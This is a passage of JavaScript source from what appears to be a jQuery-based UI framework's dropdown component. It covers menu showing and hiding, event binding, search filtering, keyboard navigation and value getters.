            if(settings.onShow.call(element) !== false) {
              module.animate.show(function() {
                if( module.can.click() ) {
                  module.bind.intent();
                }
                if(module.has.menuSearch()) {
                  module.focusSearch();
                }
                module.set.visible();
                callback.call(element);
              });
            }
          }
        },

        hide: function(callback) {
          callback = $.isFunction(callback)
            ? callback
            : function(){}
          ;
          if( module.is.active() ) {
            module.debug('Hiding dropdown');
            if(settings.onHide.call(element) !== false) {
              module.animate.hide(function() {
                module.remove.visible();
                callback.call(element);
              });
            }
          }
        },

        hideOthers: function() {
          module.verbose('Finding other dropdowns to hide');
          $allModules
            .not($module)
              .has(selector.menu + '.' + className.visible)
                .dropdown('hide')
          ;
        },

        hideMenu: function() {
          module.verbose('Hiding menu  instantaneously');
          module.remove.active();
          module.remove.visible();
          $menu.transition('hide');
        },

        hideSubMenus: function() {
          var
            $subMenus = $menu.children(selector.item).find(selector.menu)
          ;
          module.verbose('Hiding sub menus', $subMenus);
          $subMenus.transition('hide');
        },

        bind: {
          events: function() {
            if(hasTouch) {
              module.bind.touchEvents();
            }
            module.bind.keyboardEvents();
            module.bind.inputEvents();
            module.bind.mouseEvents();
          },
          touchEvents: function() {
            module.debug('Touch device detected binding additional touch events');
            if( module.is.searchSelection() ) {
              // do nothing special yet
            }
            else if( module.is.single() ) {
              $module
                .on('touchstart' + eventNamespace, module.event.test.toggle)
              ;
            }
            $menu
              .on('touchstart' + eventNamespace, selector.item, module.event.item.mouseenter)
            ;
          },
          keyboardEvents: function() {
            module.verbose('Binding keyboard events');
            $module
              .on('keydown' + eventNamespace, module.event.keydown)
            ;
            if( module.has.search() ) {
              $module
                .on(module.get.inputEvent() + eventNamespace, selector.search, module.event.input)
              ;
            }
            if( module.is.multiple() ) {
              $document
                .on('keydown' + elementNamespace, module.event.document.keydown)
              ;
            }
          },
          inputEvents: function() {
            module.verbose('Binding input change events');
            $module
              .on('change' + eventNamespace, selector.input, module.event.change)
            ;
          },
          mouseEvents: function() {
            module.verbose('Binding mouse events');
            if(module.is.multiple()) {
              $module
                .on('click'   + eventNamespace, selector.label,  module.event.label.click)
                .on('click'   + eventNamespace, selector.remove, module.event.remove.click)
              ;
            }
            if( module.is.searchSelection() ) {
              $module
                .on('mousedown' + eventNamespace, module.event.mousedown)
                .on('mouseup'   + eventNamespace, module.event.mouseup)
                .on('mousedown' + eventNamespace, selector.menu,   module.event.menu.mousedown)
                .on('mouseup'   + eventNamespace, selector.menu,   module.event.menu.mouseup)
                .on('click'     + eventNamespace, selector.icon,   module.event.icon.click)
                .on('focus'     + eventNamespace, selector.search, module.event.search.focus)
                .on('click'     + eventNamespace, selector.search, module.event.search.focus)
                .on('blur'      + eventNamespace, selector.search, module.event.search.blur)
                .on('click'     + eventNamespace, selector.text,   module.event.text.focus)
              ;
              if(module.is.multiple()) {
                $module
                  .on('click' + eventNamespace, module.event.click)
                ;
              }
            }
            else {
              if(settings.on == 'click') {
                $module
                  .on('click' + eventNamespace, selector.icon, module.event.icon.click)
                  .on('click' + eventNamespace, module.event.test.toggle)
                ;
              }
              else if(settings.on == 'hover') {
                $module
                  .on('mouseenter' + eventNamespace, module.delay.show)
                  .on('mouseleave' + eventNamespace, module.delay.hide)
                ;
              }
              else {
                $module
                  .on(settings.on + eventNamespace, module.toggle)
                ;
              }
              $module
                .on('mousedown' + eventNamespace, module.event.mousedown)
                .on('mouseup'   + eventNamespace, module.event.mouseup)
                .on('focus'     + eventNamespace, module.event.focus)
                .on('blur'      + eventNamespace, module.event.blur)
              ;
            }
            $menu
              .on('mouseenter' + eventNamespace, selector.item, module.event.item.mouseenter)
              .on('mouseleave' + eventNamespace, selector.item, module.event.item.mouseleave)
              .on('click'      + eventNamespace, selector.item, module.event.item.click)
            ;
          },
          intent: function() {
            module.verbose('Binding hide intent event to document');
            if(hasTouch) {
              $document
                .on('touchstart' + elementNamespace, module.event.test.touch)
                .on('touchmove'  + elementNamespace, module.event.test.touch)
              ;
            }
            $document
              .on('click' + elementNamespace, module.event.test.hide)
            ;
          }
        },

        unbind: {
          intent: function() {
            module.verbose('Removing hide intent event from document');
            if(hasTouch) {
              $document
                .off('touchstart' + elementNamespace)
                .off('touchmove' + elementNamespace)
              ;
            }
            $document
              .off('click' + elementNamespace)
            ;
          }
        },

        filter: function(query) {
          var
            searchTerm = (query !== undefined)
              ? query
              : module.get.query(),
            afterFiltered = function() {
              if(module.is.multiple()) {
                module.filterActive();
              }
              module.select.firstUnfiltered();
              if( module.has.allResultsFiltered() ) {
                if( settings.onNoResults.call(element, searchTerm) ) {
                  if(settings.allowAdditions) {
                    if(settings.hideAdditions) {
                      module.verbose('User addition with no menu, setting empty style');
                      module.set.empty();
                      module.hideMenu();
                    }
                  }
                  else {
                    module.verbose('All items filtered, showing message', searchTerm);
                    module.add.message(message.noResults);
                  }
                }
                else {
                  module.verbose('All items filtered, hiding dropdown', searchTerm);
                  module.hideMenu();
                }
              }
              else {
                module.remove.empty();
                module.remove.message();
              }
              if(settings.allowAdditions) {
                module.add.userSuggestion(query);
              }
              if(module.is.searchSelection() && module.can.show() && module.is.focusedOnSearch() ) {
                module.show();
              }
            }
          ;
          if(settings.useLabels && module.has.maxSelections()) {
            return;
          }
          if(settings.apiSettings) {
            if( module.can.useAPI() ) {
              module.queryRemote(searchTerm, function() {
                afterFiltered();
              });
            }
            else {
              module.error(error.noAPI);
            }
          }
          else {
            module.filterItems(searchTerm);
            afterFiltered();
          }
        },

        queryRemote: function(query, callback) {
          var
            apiSettings = {
              errorDuration : false,
              cache         : 'local',
              throttle      : settings.throttle,
              urlData       : {
                query: query
              },
              onError: function() {
                module.add.message(message.serverError);
                callback();
              },
              onFailure: function() {
                module.add.message(message.serverError);
                callback();
              },
              onSuccess : function(response) {
                module.remove.message();
                module.setup.menu({
                  values: response[fields.remoteValues]
                });
                callback();
              }
            }
          ;
          if( !$module.api('get request') ) {
            module.setup.api();
          }
          apiSettings = $.extend(true, {}, apiSettings, settings.apiSettings);
          $module
            .api('setting', apiSettings)
            .api('query')
          ;
        },

        filterItems: function(query) {
          var
            searchTerm = (query !== undefined)
              ? query
              : module.get.query(),
            results          =  null,
            escapedTerm      = module.escape.regExp(searchTerm),
            beginsWithRegExp = new RegExp('^' + escapedTerm, 'igm')
          ;
          // avoid loop if we're matching nothing
          if( module.has.query() ) {
            results = [];

            module.verbose('Searching for matching values', searchTerm);
            $item
              .each(function(){
                var
                  $choice = $(this),
                  text,
                  value
                ;
                if(settings.match == 'both' || settings.match == 'text') {
                  text = String(module.get.choiceText($choice, false));
                  if(text.search(beginsWithRegExp) !== -1) {
                    results.push(this);
                    return true;
                  }
                  else if (settings.fullTextSearch === 'exact' && module.exactSearch(searchTerm, text)) {
                    results.push(this);
                    return true;
                  }
                  else if (settings.fullTextSearch === true && module.fuzzySearch(searchTerm, text)) {
                    results.push(this);
                    return true;
                  }
                }
                if(settings.match == 'both' || settings.match == 'value') {
                  value = String(module.get.choiceValue($choice, text));

                  if(value.search(beginsWithRegExp) !== -1) {
                    results.push(this);
                    return true;
                  }
                  else if(settings.fullTextSearch && module.fuzzySearch(searchTerm, value)) {
                    results.push(this);
                    return true;
                  }
                }
              })
            ;
          }
          module.debug('Showing only matched items', searchTerm);
          module.remove.filteredItem();
          if(results) {
            $item
              .not(results)
              .addClass(className.filtered)
            ;
          }
        },

        fuzzySearch: function(query, term) {
          var
            termLength  = term.length,
            queryLength = query.length
          ;
          query = query.toLowerCase();
          term  = term.toLowerCase();
          if(queryLength > termLength) {
            return false;
          }
          if(queryLength === termLength) {
            return (query === term);
          }
          search: for (var characterIndex = 0, nextCharacterIndex = 0; characterIndex < queryLength; characterIndex++) {
            var
              queryCharacter = query.charCodeAt(characterIndex)
            ;
            while(nextCharacterIndex < termLength) {
              if(term.charCodeAt(nextCharacterIndex++) === queryCharacter) {
                continue search;
              }
            }
            return false;
          }
          return true;
        },
        exactSearch: function (query, term) {
          query = query.toLowerCase();
          term  = term.toLowerCase();
          if(term.indexOf(query) > -1) {
             return true;
          }
          return false;
        },
        filterActive: function() {
          if(settings.useLabels) {
            $item.filter('.' + className.active)
              .addClass(className.filtered)
            ;
          }
        },

        focusSearch: function(skipHandler) {
          if( module.has.search() && !module.is.focusedOnSearch() ) {
            if(skipHandler) {
              $module.off('focus' + eventNamespace, selector.search);
              $search.focus();
              $module.on('focus'  + eventNamespace, selector.search, module.event.search.focus);
            }
            else {
              $search.focus();
            }
          }
        },

        forceSelection: function() {
          var
            $currentlySelected = $item.not(className.filtered).filter('.' + className.selected).eq(0),
            $activeItem        = $item.not(className.filtered).filter('.' + className.active).eq(0),
            $selectedItem      = ($currentlySelected.length > 0)
              ? $currentlySelected
              : $activeItem,
            hasSelected = ($selectedItem.length > 0)
          ;
          if(hasSelected) {
            module.debug('Forcing partial selection to selected item', $selectedItem);
            module.event.item.click.call($selectedItem, {}, true);
            return;
          }
          else {
            if(settings.allowAdditions) {
              module.set.selected(module.get.query());
              module.remove.searchTerm();
            }
            else {
              module.remove.searchTerm();
            }
          }
        },

        event: {
          change: function() {
            if(!internalChange) {
              module.debug('Input changed, updating selection');
              module.set.selected();
            }
          },
          focus: function() {
            if(settings.showOnFocus && !activated && module.is.hidden() && !pageLostFocus) {
              module.show();
            }
          },
          blur: function(event) {
            pageLostFocus = (document.activeElement === this);
            if(!activated && !pageLostFocus) {
              module.remove.activeLabel();
              module.hide();
            }
          },
          mousedown: function() {
            if(module.is.searchSelection()) {
              // prevent menu hiding on immediate re-focus
              willRefocus = true;
            }
            else {
              // prevents focus callback from occurring on mousedown
              activated = true;
            }
          },
          mouseup: function() {
            if(module.is.searchSelection()) {
              // prevent menu hiding on immediate re-focus
              willRefocus = false;
            }
            else {
              activated = false;
            }
          },
          click: function(event) {
            var
              $target = $(event.target)
            ;
            // focus search
            if($target.is($module)) {
              if(!module.is.focusedOnSearch()) {
                module.focusSearch();
              }
              else {
                module.show();
              }
            }
          },
          search: {
            focus: function() {
              activated = true;
              if(module.is.multiple()) {
                module.remove.activeLabel();
              }
              if(settings.showOnFocus) {
                module.search();
              }
            },
            blur: function(event) {
              pageLostFocus = (document.activeElement === this);
              if(!willRefocus) {
                if(!itemActivated && !pageLostFocus) {
                  if(settings.forceSelection) {
                    module.forceSelection();
                  }
                  module.hide();
                }
              }
              willRefocus = false;
            }
          },
          icon: {
            click: function(event) {
              module.toggle();
            }
          },
          text: {
            focus: function(event) {
              activated = true;
              module.focusSearch();
            }
          },
          input: function(event) {
            if(module.is.multiple() || module.is.searchSelection()) {
              module.set.filtered();
            }
            clearTimeout(module.timer);
            module.timer = setTimeout(module.search, settings.delay.search);
          },
          label: {
            click: function(event) {
              var
                $label        = $(this),
                $labels       = $module.find(selector.label),
                $activeLabels = $labels.filter('.' + className.active),
                $nextActive   = $label.nextAll('.' + className.active),
                $prevActive   = $label.prevAll('.' + className.active),
                $range = ($nextActive.length > 0)
                  ? $label.nextUntil($nextActive).add($activeLabels).add($label)
                  : $label.prevUntil($prevActive).add($activeLabels).add($label)
              ;
              if(event.shiftKey) {
                $activeLabels.removeClass(className.active);
                $range.addClass(className.active);
              }
              else if(event.ctrlKey) {
                $label.toggleClass(className.active);
              }
              else {
                $activeLabels.removeClass(className.active);
                $label.addClass(className.active);
              }
              settings.onLabelSelect.apply(this, $labels.filter('.' + className.active));
            }
          },
          remove: {
            click: function() {
              var
                $label = $(this).parent()
              ;
              if( $label.hasClass(className.active) ) {
                // remove all selected labels
                module.remove.activeLabels();
              }
              else {
                // remove this label only
                module.remove.activeLabels( $label );
              }
            }
          },
          test: {
            toggle: function(event) {
              var
                toggleBehavior = (module.is.multiple())
                  ? module.show
                  : module.toggle
              ;
              if(module.is.bubbledLabelClick(event) || module.is.bubbledIconClick(event)) {
                return;
              }
              if( module.determine.eventOnElement(event, toggleBehavior) ) {
                event.preventDefault();
              }
            },
            touch: function(event) {
              module.determine.eventOnElement(event, function() {
                if(event.type == 'touchstart') {
                  module.timer = setTimeout(function() {
                    module.hide();
                  }, settings.delay.touch);
                }
                else if(event.type == 'touchmove') {
                  clearTimeout(module.timer);
                }
              });
              event.stopPropagation();
            },
            hide: function(event) {
              module.determine.eventInModule(event, module.hide);
            }
          },
          select: {
            mutation: function(mutations) {
              module.debug('<select> modified, recreating menu');
              module.setup.select();
            }
          },
          menu: {
            mutation: function(mutations) {
              var
                mutation   = mutations[0],
                $addedNode = mutation.addedNodes
                  ? $(mutation.addedNodes[0])
                  : $(false),
                $removedNode = mutation.removedNodes
                  ? $(mutation.removedNodes[0])
                  : $(false),
                $changedNodes  = $addedNode.add($removedNode),
                isUserAddition = $changedNodes.is(selector.addition) || $changedNodes.closest(selector.addition).length > 0,
                isMessage      = $changedNodes.is(selector.message)  || $changedNodes.closest(selector.message).length > 0
              ;
              if(isUserAddition || isMessage) {
                module.debug('Updating item selector cache');
                module.refreshItems();
              }
              else {
                module.debug('Menu modified, updating selector cache');
                module.refresh();
              }
            },
            mousedown: function() {
              itemActivated = true;
            },
            mouseup: function() {
              itemActivated = false;
            }
          },
          item: {
            mouseenter: function(event) {
              var
                $target        = $(event.target),
                $item          = $(this),
                $subMenu       = $item.children(selector.menu),
                $otherMenus    = $item.siblings(selector.item).children(selector.menu),
                hasSubMenu     = ($subMenu.length > 0),
                isBubbledEvent = ($subMenu.find($target).length > 0)
              ;
              if( !isBubbledEvent && hasSubMenu ) {
                clearTimeout(module.itemTimer);
                module.itemTimer = setTimeout(function() {
                  module.verbose('Showing sub-menu', $subMenu);
                  $.each($otherMenus, function() {
                    module.animate.hide(false, $(this));
                  });
                  module.animate.show(false, $subMenu);
                }, settings.delay.show);
                event.preventDefault();
              }
            },
            mouseleave: function(event) {
              var
                $subMenu = $(this).children(selector.menu)
              ;
              if($subMenu.length > 0) {
                clearTimeout(module.itemTimer);
                module.itemTimer = setTimeout(function() {
                  module.verbose('Hiding sub-menu', $subMenu);
                  module.animate.hide(false, $subMenu);
                }, settings.delay.hide);
              }
            },
            click: function (event, skipRefocus) {
              var
                $choice        = $(this),
                $target        = (event)
                  ? $(event.target)
                  : $(''),
                $subMenu       = $choice.find(selector.menu),
                text           = module.get.choiceText($choice),
                value          = module.get.choiceValue($choice, text),
                hasSubMenu     = ($subMenu.length > 0),
                isBubbledEvent = ($subMenu.find($target).length > 0)
              ;
              if(!isBubbledEvent && (!hasSubMenu || settings.allowCategorySelection)) {
                if(module.is.searchSelection()) {
                  if(settings.allowAdditions) {
                    module.remove.userAddition();
                  }
                  module.remove.searchTerm();
                  if(!module.is.focusedOnSearch() && !(skipRefocus == true)) {
                    module.focusSearch(true);
                  }
                }
                if(!settings.useLabels) {
                  module.remove.filteredItem();
                  module.set.scrollPosition($choice);
                }
                module.determine.selectAction.call(this, text, value);
              }
            }
          },

          document: {
            // label selection should occur even when element has no focus
            keydown: function(event) {
              var
                pressedKey    = event.which,
                isShortcutKey = module.is.inObject(pressedKey, keys)
              ;
              if(isShortcutKey) {
                var
                  $label            = $module.find(selector.label),
                  $activeLabel      = $label.filter('.' + className.active),
                  activeValue       = $activeLabel.data(metadata.value),
                  labelIndex        = $label.index($activeLabel),
                  labelCount        = $label.length,
                  hasActiveLabel    = ($activeLabel.length > 0),
                  hasMultipleActive = ($activeLabel.length > 1),
                  isFirstLabel      = (labelIndex === 0),
                  isLastLabel       = (labelIndex + 1 == labelCount),
                  isSearch          = module.is.searchSelection(),
                  isFocusedOnSearch = module.is.focusedOnSearch(),
                  isFocused         = module.is.focused(),
                  caretAtStart      = (isFocusedOnSearch && module.get.caretPosition() === 0),
                  $nextLabel
                ;
                if(isSearch && !hasActiveLabel && !isFocusedOnSearch) {
                  return;
                }

                if(pressedKey == keys.leftArrow) {
                  // activate previous label
                  if((isFocused || caretAtStart) && !hasActiveLabel) {
                    module.verbose('Selecting previous label');
                    $label.last().addClass(className.active);
                  }
                  else if(hasActiveLabel) {
                    if(!event.shiftKey) {
                      module.verbose('Selecting previous label');
                      $label.removeClass(className.active);
                    }
                    else {
                      module.verbose('Adding previous label to selection');
                    }
                    if(isFirstLabel && !hasMultipleActive) {
                      $activeLabel.addClass(className.active);
                    }
                    else {
                      $activeLabel.prev(selector.siblingLabel)
                        .addClass(className.active)
                        .end()
                      ;
                    }
                    event.preventDefault();
                  }
                }
                else if(pressedKey == keys.rightArrow) {
                  // activate first label
                  if(isFocused && !hasActiveLabel) {
                    $label.first().addClass(className.active);
                  }
                  // activate next label
                  if(hasActiveLabel) {
                    if(!event.shiftKey) {
                      module.verbose('Selecting next label');
                      $label.removeClass(className.active);
                    }
                    else {
                      module.verbose('Adding next label to selection');
                    }
                    if(isLastLabel) {
                      if(isSearch) {
                        if(!isFocusedOnSearch) {
                          module.focusSearch();
                        }
                        else {
                          $label.removeClass(className.active);
                        }
                      }
                      else if(hasMultipleActive) {
                        $activeLabel.next(selector.siblingLabel).addClass(className.active);
                      }
                      else {
                        $activeLabel.addClass(className.active);
                      }
                    }
                    else {
                      $activeLabel.next(selector.siblingLabel).addClass(className.active);
                    }
                    event.preventDefault();
                  }
                }
                else if(pressedKey == keys.deleteKey || pressedKey == keys.backspace) {
                  if(hasActiveLabel) {
                    module.verbose('Removing active labels');
                    if(isLastLabel) {
                      if(isSearch && !isFocusedOnSearch) {
                        module.focusSearch();
                      }
                    }
                    $activeLabel.last().next(selector.siblingLabel).addClass(className.active);
                    module.remove.activeLabels($activeLabel);
                    event.preventDefault();
                  }
                  else if(caretAtStart && !hasActiveLabel && pressedKey == keys.backspace) {
                    module.verbose('Removing last label on input backspace');
                    $activeLabel = $label.last().addClass(className.active);
                    module.remove.activeLabels($activeLabel);
                  }
                }
                else {
                  $activeLabel.removeClass(className.active);
                }
              }
            }
          },

          keydown: function(event) {
            var
              pressedKey    = event.which,
              isShortcutKey = module.is.inObject(pressedKey, keys)
            ;
            if(isShortcutKey) {
              var
                $currentlySelected = $item.not(selector.unselectable).filter('.' + className.selected).eq(0),
                $activeItem        = $menu.children('.' + className.active).eq(0),
                $selectedItem      = ($currentlySelected.length > 0)
                  ? $currentlySelected
                  : $activeItem,
                $visibleItems = ($selectedItem.length > 0)
                  ? $selectedItem.siblings(':not(.' + className.filtered +')').addBack()
                  : $menu.children(':not(.' + className.filtered +')'),
                $subMenu              = $selectedItem.children(selector.menu),
                $parentMenu           = $selectedItem.closest(selector.menu),
                inVisibleMenu         = ($parentMenu.hasClass(className.visible) || $parentMenu.hasClass(className.animating) || $parentMenu.parent(selector.menu).length > 0),
                hasSubMenu            = ($subMenu.length> 0),
                hasSelectedItem       = ($selectedItem.length > 0),
                selectedIsSelectable  = ($selectedItem.not(selector.unselectable).length > 0),
                delimiterPressed      = (pressedKey == keys.delimiter && settings.allowAdditions && module.is.multiple()),
                isAdditionWithoutMenu = (settings.allowAdditions && settings.hideAdditions && (pressedKey == keys.enter || delimiterPressed) && selectedIsSelectable),
                $nextItem,
                isSubMenuItem,
                newIndex
              ;
              // allow selection with menu closed
              if(isAdditionWithoutMenu) {
                module.verbose('Selecting item from keyboard shortcut', $selectedItem);
                module.event.item.click.call($selectedItem, event);
                if(module.is.searchSelection()) {
                  module.remove.searchTerm();
                }
              }

              // visible menu keyboard shortcuts
              if( module.is.visible() ) {

                // enter (select or open sub-menu)
                if(pressedKey == keys.enter || delimiterPressed) {
                  if(pressedKey == keys.enter && hasSelectedItem && hasSubMenu && !settings.allowCategorySelection) {
                    module.verbose('Pressed enter on unselectable category, opening sub menu');
                    pressedKey = keys.rightArrow;
                  }
                  else if(selectedIsSelectable) {
                    module.verbose('Selecting item from keyboard shortcut', $selectedItem);
                    module.event.item.click.call($selectedItem, event);
                    if(module.is.searchSelection()) {
                      module.remove.searchTerm();
                    }
                  }
                  event.preventDefault();
                }

                // sub-menu actions
                if(hasSelectedItem) {

                  if(pressedKey == keys.leftArrow) {

                    isSubMenuItem = ($parentMenu[0] !== $menu[0]);

                    if(isSubMenuItem) {
                      module.verbose('Left key pressed, closing sub-menu');
                      module.animate.hide(false, $parentMenu);
                      $selectedItem
                        .removeClass(className.selected)
                      ;
                      $parentMenu
                        .closest(selector.item)
                          .addClass(className.selected)
                      ;
                      event.preventDefault();
                    }
                  }

                  // right arrow (show sub-menu)
                  if(pressedKey == keys.rightArrow) {
                    if(hasSubMenu) {
                      module.verbose('Right key pressed, opening sub-menu');
                      module.animate.show(false, $subMenu);
                      $selectedItem
                        .removeClass(className.selected)
                      ;
                      $subMenu
                        .find(selector.item).eq(0)
                          .addClass(className.selected)
                      ;
                      event.preventDefault();
                    }
                  }
                }

                // up arrow (traverse menu up)
                if(pressedKey == keys.upArrow) {
                  $nextItem = (hasSelectedItem && inVisibleMenu)
                    ? $selectedItem.prevAll(selector.item + ':not(' + selector.unselectable + ')').eq(0)
                    : $item.eq(0)
                  ;
                  if($visibleItems.index( $nextItem ) < 0) {
                    module.verbose('Up key pressed but reached top of current menu');
                    event.preventDefault();
                    return;
                  }
                  else {
                    module.verbose('Up key pressed, changing active item');
                    $selectedItem
                      .removeClass(className.selected)
                    ;
                    $nextItem
                      .addClass(className.selected)
                    ;
                    module.set.scrollPosition($nextItem);
                    if(settings.selectOnKeydown && module.is.single()) {
                      module.set.selectedItem($nextItem);
                    }
                  }
                  event.preventDefault();
                }

                // down arrow (traverse menu down)
                if(pressedKey == keys.downArrow) {
                  $nextItem = (hasSelectedItem && inVisibleMenu)
                    ? $nextItem = $selectedItem.nextAll(selector.item + ':not(' + selector.unselectable + ')').eq(0)
                    : $item.eq(0)
                  ;
                  if($nextItem.length === 0) {
                    module.verbose('Down key pressed but reached bottom of current menu');
                    event.preventDefault();
                    return;
                  }
                  else {
                    module.verbose('Down key pressed, changing active item');
                    $item
                      .removeClass(className.selected)
                    ;
                    $nextItem
                      .addClass(className.selected)
                    ;
                    module.set.scrollPosition($nextItem);
                    if(settings.selectOnKeydown && module.is.single()) {
                      module.set.selectedItem($nextItem);
                    }
                  }
                  event.preventDefault();
                }

                // page down (show next page)
                if(pressedKey == keys.pageUp) {
                  module.scrollPage('up');
                  event.preventDefault();
                }
                if(pressedKey == keys.pageDown) {
                  module.scrollPage('down');
                  event.preventDefault();
                }

                // escape (close menu)
                if(pressedKey == keys.escape) {
                  module.verbose('Escape key pressed, closing dropdown');
                  module.hide();
                }

              }
              else {
                // delimiter key
                if(delimiterPressed) {
                  event.preventDefault();
                }
                // down arrow (open menu)
                if(pressedKey == keys.downArrow && !module.is.visible()) {
                  module.verbose('Down key pressed, showing dropdown');
                  module.select.firstUnfiltered();
                  module.show();
                  event.preventDefault();
                }
              }
            }
            else {
              if( !module.has.search() ) {
                module.set.selectedLetter( String.fromCharCode(pressedKey) );
              }
            }
          }
        },

        trigger: {
          change: function() {
            var
              events       = document.createEvent('HTMLEvents'),
              inputElement = $input[0]
            ;
            if(inputElement) {
              module.verbose('Triggering native change event');
              events.initEvent('change', true, false);
              inputElement.dispatchEvent(events);
            }
          }
        },

        determine: {
          selectAction: function(text, value) {
            module.verbose('Determining action', settings.action);
            if( $.isFunction( module.action[settings.action] ) ) {
              module.verbose('Triggering preset action', settings.action, text, value);
              module.action[ settings.action ].call(element, text, value, this);
            }
            else if( $.isFunction(settings.action) ) {
              module.verbose('Triggering user action', settings.action, text, value);
              settings.action.call(element, text, value, this);
            }
            else {
              module.error(error.action, settings.action);
            }
          },
          eventInModule: function(event, callback) {
            var
              $target    = $(event.target),
              inDocument = ($target.closest(document.documentElement).length > 0),
              inModule   = ($target.closest($module).length > 0)
            ;
            callback = $.isFunction(callback)
              ? callback
              : function(){}
            ;
            if(inDocument && !inModule) {
              module.verbose('Triggering event', callback);
              callback();
              return true;
            }
            else {
              module.verbose('Event occurred in dropdown, canceling callback');
              return false;
            }
          },
          eventOnElement: function(event, callback) {
            var
              $target      = $(event.target),
              $label       = $target.closest(selector.siblingLabel),
              inVisibleDOM = document.body.contains(event.target),
              notOnLabel   = ($module.find($label).length === 0),
              notInMenu    = ($target.closest($menu).length === 0)
            ;
            callback = $.isFunction(callback)
              ? callback
              : function(){}
            ;
            if(inVisibleDOM && notOnLabel && notInMenu) {
              module.verbose('Triggering event', callback);
              callback();
              return true;
            }
            else {
              module.verbose('Event occurred in dropdown menu, canceling callback');
              return false;
            }
          }
        },

        action: {

          nothing: function() {},

          activate: function(text, value, element) {
            value = (value !== undefined)
              ? value
              : text
            ;
            if( module.can.activate( $(element) ) ) {
              module.set.selected(value, $(element));
              if(module.is.multiple() && !module.is.allFiltered()) {
                return;
              }
              else {
                module.hideAndClear();
              }
            }
          },

          select: function(text, value, element) {
            value = (value !== undefined)
              ? value
              : text
            ;
            if( module.can.activate( $(element) ) ) {
              module.set.value(value, $(element));
              if(module.is.multiple() && !module.is.allFiltered()) {
                return;
              }
              else {
                module.hideAndClear();
              }
            }
          },

          combo: function(text, value, element) {
            value = (value !== undefined)
              ? value
              : text
            ;
            module.set.selected(value, $(element));
            module.hideAndClear();
          },

          hide: function(text, value, element) {
            module.set.value(value, text);
            module.hideAndClear();
          }

        },

        get: {
          id: function() {
            return id;
          },
          defaultText: function() {
            return $module.data(metadata.defaultText);
          },
          defaultValue: function() {
            return $module.data(metadata.defaultValue);
          },
          placeholderText: function() {
            return $module.data(metadata.placeholderText) || '';
          },
          text: function() {
            return $text.text();
          },
          query: function() {
            return $.trim($search.val());
          },
          searchWidth: function(value) {
            value = (value !== undefined)
              ? value
              : $search.val()
            ;
            $sizer.text(value);
            // prevent rounding issues
            return Math.ceil( $sizer.width() + 1);
          },
          selectionCount: function() {
            var
              values = module.get.values(),
              count
            ;
            count = ( module.is.multiple() )
              ? $.isArray(values)
                ? values.length
                : 0
              : (module.get.value() !== '')
                ? 1
                : 0
            ;
            return count;
          },
          transition: function($subMenu) {
            return (settings.transition == 'auto')
              ? module.is.upward($subMenu)
                ? 'slide up'
                : 'slide down'
              : settings.transition
            ;
          },
          userValues: function() {
            var
              values = module.get.values()
            ;
            if(!values) {
              return false;
            }
            values = $.isArray(values)
              ? values
              : [values]
            ;
            return $.grep(values, function(value) {
              return (module.get.item(value) === false);
            });
          },
          uniqueArray: function(array) {
            return $.grep(array, function (value, index) {
                return $.inArray(value, array) === index;
            });
          },
          caretPosition: function() {
            var
              input = $search.get(0),
              range,
              rangeLength
            ;
            if('selectionStart' in input) {
              return input.selectionStart;
            }
            else if (document.selection) {
              input.focus();
              range       = document.selection.createRange();
              rangeLength = range.text.length;
              range.moveStart('character', -input.value.length);
              return range.text.length - rangeLength;
            }
          },
          value: function() {
            var
              value = ($input.length > 0)
                ? $input.val()
                : $module.data(metadata.value),
              isEmptyMultiselect = ($.isArray(value) && value.length === 1 && value[0] === '')
            ;
            // prevents placeholder element from being selected when multiple
            return (value === undefined || isEmptyMultiselect)
              ? ''
              : value
            ;
          },
          values: function() {
            var
              value = module.get.value()
            ;
            if(value === '') {
              return '';
            }
            return ( !module.has.selectInput() && module.is.multiple() )
              ? (typeof value == 'string') // delimited string
                ? value.split(settings.delimiter)
                : ''
              : value
            ;
          },
          remoteValues: function() {
            var
              values = module.get.values(),
              remoteValues = false
            ;
            if(values) {
              if(typeof values == 'string') {
                values = [values];
              }
              $.each(values, function(index, value) {
                var
                  name = module.read.remoteData(value)
                ;
                module.verbose('Restoring value from session data', name, value);
                if(name) {
                  if(!remoteValues) {
                    remoteValues = {};
                  }
                  remoteValues[value] = name;
                }
              });
            }
            return remoteValues;
          },
          choiceText: function($choice, preserveHTML) {
            preserveHTML = (preserveHTML !== undefined)
              ? preserveHTML
              : settings.preserveHTML
            ;
            if($choice) {
              if($choice.find(selector.menu).length > 0) {
                module.verbose('Retrieving text of element with sub-menu');
                $choice = $choice.clone();
                $choice.find(selector.menu).remove();
                $choice.find(selector.menuIcon).remove();
              }
              return ($choice.data(metadata.text) !== undefined)
                ? $choice.data(metadata.text)
                : (preserveHTML)
                  ? $.trim($choice.html())
                  : $.trim($choice.text())
              ;
            }
          },
          choiceValue: function($choice, choiceText) {
            choiceText = choiceText || module.get.choiceText($choice);
            if(!$choice) {
              return false;
            }
            return ($choice.data(metadata.value) !== undefined)
              ? String( $choice.data(metadata.value) )
              : (typeof choiceText === 'string')
                ? $.trim(choiceText.toLowerCase())
                : String(choiceText)
            ;
          },
          inputEvent: function() {
            var
              input = $search[0]
            ;
            if(input) {
              return (input.oninput !== undefined)
                ? 'input'
                : (input.onpropertychange !== undefined)
                  ? 'propertychange'
                  : 'keyup'
              ;
            }
            return false;
          },
          selectValues: function() {
            var
              select = {}
            ;
            select.values = [];
            $module
              .find('option')
                .each(function() {
                  var
                    $option  = $(this),
                    name     = $option.html(),
                    disabled = $option.attr('disabled'),
                    value    = ( $option.attr('value') !== undefined )
                      ? $option.attr('value')
                      : name
                  ;
                  if(settings.placeholder === 'auto' && value === '') {
                    select.placeholder = name;
                  }
                  else {
                    select.values.push({
                      name     : name,
                      value    : value,
                      disabled : disabled
                    });
                  }
                })
            ;
            if(settings.placeholder && settings.placeholder !== 'auto') {
              module.debug('Setting placeholder value to', settings.placeholder);
              select.placeholder = settings.placeholder;
            }
            if(settings.sortSelect) {
              select.values.sort(function(a, b) {
                return (a.name > b.name)
                  ? 1
                  : -1
                ;
              });
              module.debug('Retrieved and sorted values from select', select);
            }
            else {
              module.debug('Retrieved values from select', select);
            }
            return select;
          },
          activeItem: function() {
            return $item.filter('.'  + className.active);
          },
          selectedItem: function() {
            var
              $selectedItem = $item.not(selector.unselectable).filter('.'  + className.selected)
            ;
            return ($selectedItem.length > 0)
              ? $selectedItem
              : $item.eq(0)
            ;
          },
          itemWithAdditions: function(value) {
            var
              $items       = module.get.item(value),
              $userItems   = module.create.userChoice(value),
              hasUserItems = ($userItems && $userItems.length > 0)
            ;
            if(hasUserItems) {
              $items = ($items.length > 0)
